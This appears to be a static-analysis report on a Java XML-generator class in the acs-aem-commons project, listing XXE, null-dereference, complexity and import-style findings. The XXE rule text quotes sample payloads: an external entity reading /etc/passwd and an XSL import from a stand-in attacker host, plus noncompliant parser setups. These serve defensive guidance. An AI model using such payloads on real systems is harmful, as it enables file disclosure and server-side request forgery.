Adobe-Consulting-Services/acs-aem-commons

View on GitHub
bundle/src/main/java/com/adobe/acs/commons/indesign/dynamicdeckdynamo/services/impl/XMLGeneratorServiceImpl.java

Summary

Maintainability
A
0 mins
Test Coverage

Disable access to external entities in XML parsing.
Open

            TransformerFactory transformerFactory = TransformerFactory.newInstance();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Refactor this method to reduce its Cognitive Complexity from 23 to the 15 allowed.
Open

    private String processPropertyPath(ValueMap assetProperties, Node childElement, String assetPath) {

Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

See

A "NullPointerException" could be thrown; "processedXmlTempFile" is nullable here.
Open

                Files.deleteIfExists(processedXmlTempFile.toPath());

A reference to null should never be dereferenced/accessed. Doing so will cause a NullPointerException to be thrown. At best, such an exception will cause abrupt program termination. At worst, it could expose debugging information that would be useful to an attacker, or it could allow an attacker to bypass security measures.

Note that when they are present, this rule takes advantage of @CheckForNull and @Nonnull annotations defined in JSR-305 to understand which values are and are not nullable except when @Nonnull is used on the parameter to equals, which by contract should always work with null.

Noncompliant Code Example

@CheckForNull
String getName(){...}

public boolean isNameEmpty() {
  return getName().length() == 0; // Noncompliant; the result of getName() could be null, but isn't null-checked
}
Connection conn = null;
Statement stmt = null;
try{
  conn = DriverManager.getConnection(DB_URL,USER,PASS);
  stmt = conn.createStatement();
  // ...

}catch(Exception e){
  e.printStackTrace();
}finally{
  stmt.close();   // Noncompliant; stmt could be null if an exception was thrown in the try{} block
  conn.close();  // Noncompliant; conn could be null if an exception was thrown
}
private void merge(@Nonnull Color firstColor, @Nonnull Color secondColor){...}

public  void append(@CheckForNull Color color) {
    merge(currentColor, color);  // Noncompliant; color should be null-checked because merge(...) doesn't accept nullable parameters
}
void paint(Color color) {
  if(color == null) {
    System.out.println("Unable to apply color " + color.toString());  // Noncompliant; NullPointerException will be thrown
    return;
  }
  ...
}

See

Replace this "Map.get()" and condition with a call to "Map.computeIfPresent()".
Open

                    itrTypesList = iterableSectionTypes.get(itrType);

It's a common pattern to test the result of a java.util.Map.get() against null or calling java.util.Map.containsKey() before proceeding with adding or changing the value in the map. However the java.util.Map API offers a significantly better alternative in the form of the computeIfPresent() and computeIfAbsent() methods. Using these instead leads to cleaner and more readable code.

Note that this rule is automatically disabled when the project's sonar.java.source is not 8.

Noncompliant Code Example

V value = map.get(key);
if (value == null) {  // Noncompliant
  value = V.createFor(key);
  if (value != null) {
    map.put(key, value);
  }
}
if (!map.containsKey(key)) {  // Noncompliant
  value = V.createFor(key);
  if (value != null) {
    map.put(key, value);
  }
}
return value;

Compliant Solution

return map.computeIfAbsent(key, k -> V.createFor(k));

Exceptions

This rule will not raise an issue when trying to add null to a map, because computeIfAbsent will not add the entry if the value returned by the function is null.

See also

  • {rule:java:S6104} - Map "computeIfAbsent()" and "computeIfPresent()" should not be used to add "null" values.

Using the '.*' form of import should be avoided - javax.xml.transform.*.
Open

import javax.xml.transform.*;

Checks that there are no import statements that use the * notation.

Rationale: Importing all classes from a package or staticmembers from a class leads to tight coupling between packagesor classes and might lead to problems when a new version of alibrary introduces name clashes.

This documentation is written and maintained by the Checkstyle community and is covered under the same license as the Checkstyle project.

Line does not match expected header line of ' ?* ACS AEM Commons[A-Za-z ]* Bundle'.
Open

 * ACS AEM Commons

Checks the header of a source file against a header that contains aregular expression for each line of the source header.

Rationale: In some projects checking against afixed header is not sufficient, e.g. the header might require acopyright line where the year information is not static.

For example, consider the following header:

<source><br>line 1: ^/{71}$<br>line 2: ^// checkstyle:$<br>line 3: ^// Checks Java source code for adherence to a set of rules\.$<br>line 4: ^// Copyright \(C\) \d\d\d\d Oliver Burn$<br>line 5: ^// Last modification by \$Author.*\$$<br>line 6: ^/{71}$<br>line 7:<br>line 8: ^package<br>line 9:<br>line 10: ^import<br>line 11:<br>line 12: ^/\*\*<br>line 13: ^ \*([^/]|$)<br>line 14: ^ \*/<br> </source>

Lines 1 and 6 demonstrate a more compact notation for 71 '/'characters. Line 4 enforces that the copyright notice includes afour digit year. Line 5 is an example how to enforce revisioncontrol keywords in a file header. Lines 12-14 is a template forjavadoc (line 13 is so complicated to remove conflict with and ofjavadoc comment). Lines 7, 9 and 11 will be treated as '^$' andwill forcefully expect the line to be empty.

Different programming languages have different comment syntaxrules, but all of them start a comment with a non-wordcharacter. Hence you can often use the non-word characterclass to abstract away the concrete comment syntax and allowchecking the header for different languages with a singleheader definition. For example, consider the following headerspecification (note that this is not the full Apache licenseheader):

<source><br>line 1: ^#!<br>line 2: ^&lt;\?xml.*&gt;$<br>line 3: ^\W*$<br>line 4: ^\W*Copyright 2006 The Apache Software Foundation or its licensors, as applicable\.$<br>line 5: ^\W*Licensed under the Apache License, Version 2\.0 \(the "License"\);$<br>line 6: ^\W*$<br> </source>

Lines 1 and 2 leave room for technical header lines, e.g. the"#!/bin/sh" line in Unix shell scripts, or the XML file headerof XML files. Set the multiline property to "1, 2" so theselines can be ignored for file types where they do no apply.Lines 3 through 6 define the actual header content. Note howlines 2, 4 and 5 use escapes for characters that have specialregexp semantics.

In default configuration, if header is not specified, the default valueof header is set to null and the check does not rise any violations.

This documentation is written and maintained by the Checkstyle community and is covered under the same license as the Checkstyle project.

Using the '.*' form of import should be avoided - java.util.*.
Open

import java.util.*;

Checks that there are no import statements that use the * notation.

Rationale: Importing all classes from a package or staticmembers from a class leads to tight coupling between packagesor classes and might lead to problems when a new version of alibrary introduces name clashes.

This documentation is written and maintained by the Checkstyle community and is covered under the same license as the Checkstyle project.

Using the '.*' form of import should be avoided - java.io.*.
Open

import java.io.*;

Checks that there are no import statements that use the * notation.

Rationale: Importing all classes from a package or staticmembers from a class leads to tight coupling between packagesor classes and might lead to problems when a new version of alibrary introduces name clashes.

This documentation is written and maintained by the Checkstyle community and is covered under the same license as the Checkstyle project.

There are no issues that match your filters.

Category
Status